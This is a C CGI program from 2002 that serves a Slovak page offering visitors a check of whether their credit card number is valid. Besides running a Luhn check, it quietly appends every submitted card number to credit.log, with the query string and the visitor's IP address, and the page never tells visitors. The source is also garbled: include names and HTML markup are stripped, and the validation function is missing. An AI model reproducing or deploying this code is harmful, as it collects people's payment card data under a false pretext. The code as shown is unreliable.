/* * Developed by Ondrej Jombik * Copyright (c) 2000-2002 Platon SDG, http://www.platon.sk/ * $Platon: maxzaw.cgi.c,v 1.4 2002/04/21 10:03:50 jombik9 Exp $ */ #include #include #include #include #include #define LOGGING (1) #define EXTENDED_LOG (0) #define CARDSTR_SIZE 30 /* copy/paste from strplus.h */ #ifndef __strdel #define __strdel char*strdel(char*s){ register int k=-1; while(++k,s[k]!='\0')s[k]=s[k+1]; return(s); } #endif int main(void) { char cardstr[CARDSTR_SIZE+1]; FILE*f; int k=0; #ifdef __MSDOS__ putenv("QUERY_STRING=number=0000-0000-0000-0000"); #endif puts("Content-type:text/html\n"); cardstr[0]='\0'; if(getenv("QUERY_STRING")!=NULL){ if(strstr(getenv("QUERY_STRING"),"number=")!=NULL){ strncpy(cardstr, strstr(getenv("QUERY_STRING"),"number=")+strlen("number="), CARDSTR_SIZE); cardstr[CARDSTR_SIZE]='\0'; if(strchr(cardstr,'&')!=NULL)strchr(cardstr,'&')[0]='\0'; while(cardstr[k]!='\0'){ if(isdigit(cardstr[k]))k++; else strdel(cardstr+k); } } } puts("\ \ \ \ \ \ \ \ \ Overenie platnosti kreditnej karty / Ondrej Jombík - domovská stránka\ \ \ \  \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
       Overenie \ platnosti kreditnej karty       
\  \
\ \ \ \ \
Na tejto stránke máte jedinečnú možnosť ako si \ overiť platnosť Vašej kreditnej karty. Jednoducho zadajte do príslušného \ políčka číslo Vašej kreditnej karty a táto stránka Vám okamžite \ oznámi, či je Vaša karta platná, alebo nie.\
 
\
"
		"Číslo kreditnej karty:");
		printf("",cardstr);
	puts("
" "
" "
"); if(cardstr[0]!='\0'){ puts("
\ \ \ \
"); if (luhnchk(cardstr)) { printf("Gratulujem, karta s číslom %s" " je platná" ".
",cardstr); } else { printf("Ľutujem, karta s číslom %s" " je neplatná" ".
",cardstr); } puts("\
"); } puts(" \
\ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \
       \ Späť       
\  \ \ "); #if LOGGING if(cardstr[0]!='\0'){ if((f=fopen("credit.log","a"))!=NULL){ #if EXTENDED_LOG fprintf(f,"\nCredit card number: %s\n",cardstr); fprintf(f,"Environment:"); fprintf(f,"\n REQUEST_METHOD: %s",getenv("REQUEST_METHOD")); fprintf(f,"\n QUERY_STRING: %s",getenv("QUERY_STRING")); fprintf(f,"\n PATH_INFO: %s",getenv("PATH_INFO")); fprintf(f,"\n PATH_TRANSLATED: %s",getenv("PATH_TRANSLATED")); fprintf(f,"\n CONTENT_TYPE: %s",getenv("CONTENT_TYPE")); fprintf(f,"\n CONTENT_LENGTH: %s",getenv("CONTENT_LENGTH")); fprintf(f,"\n SCRIPT_NAME: %s",getenv("SCRIPT_NAME")); fprintf(f,"\n SERVER_NAME: %s",getenv("SERVER_NAME")); fprintf(f,"\n SERVER_PORT: %s",getenv("SERVER_PORT")); fprintf(f,"\n SERVER_SOFTWARE: %s",getenv("SERVER_SOFTWARE")); fprintf(f,"\n SERVER_PROTOCOL: %s",getenv("SERVER_PROTOCOL")); fprintf(f,"\n GATEWAY_INTERFACE: %s", getenv("GATEWAY_INTERFACE")); fprintf(f,"\n REMOTE_HOST: %s",getenv("REMOTE_HOST")); fprintf(f,"\n REMOTE_ADDR: %s",getenv("REMOTE_ADDR")); fprintf(f,"\n AUTH_TYPE: %s",getenv("AUTH_TYPE")); fprintf(f,"\n REMOTE_USER: %s",getenv("REMOTE_USER")); fprintf(f,"\n REMOTE_IDENT: %s",getenv("REMOTE_IDENT")); fputc('\n',f); #else fprintf(f,"%s %s %s\n",cardstr,getenv("QUERY_STRING"), getenv("REMOTE_ADDR")); #endif fclose(f); } else ; /* printf("Failed to save log informations.
"); */ } #endif return(0); }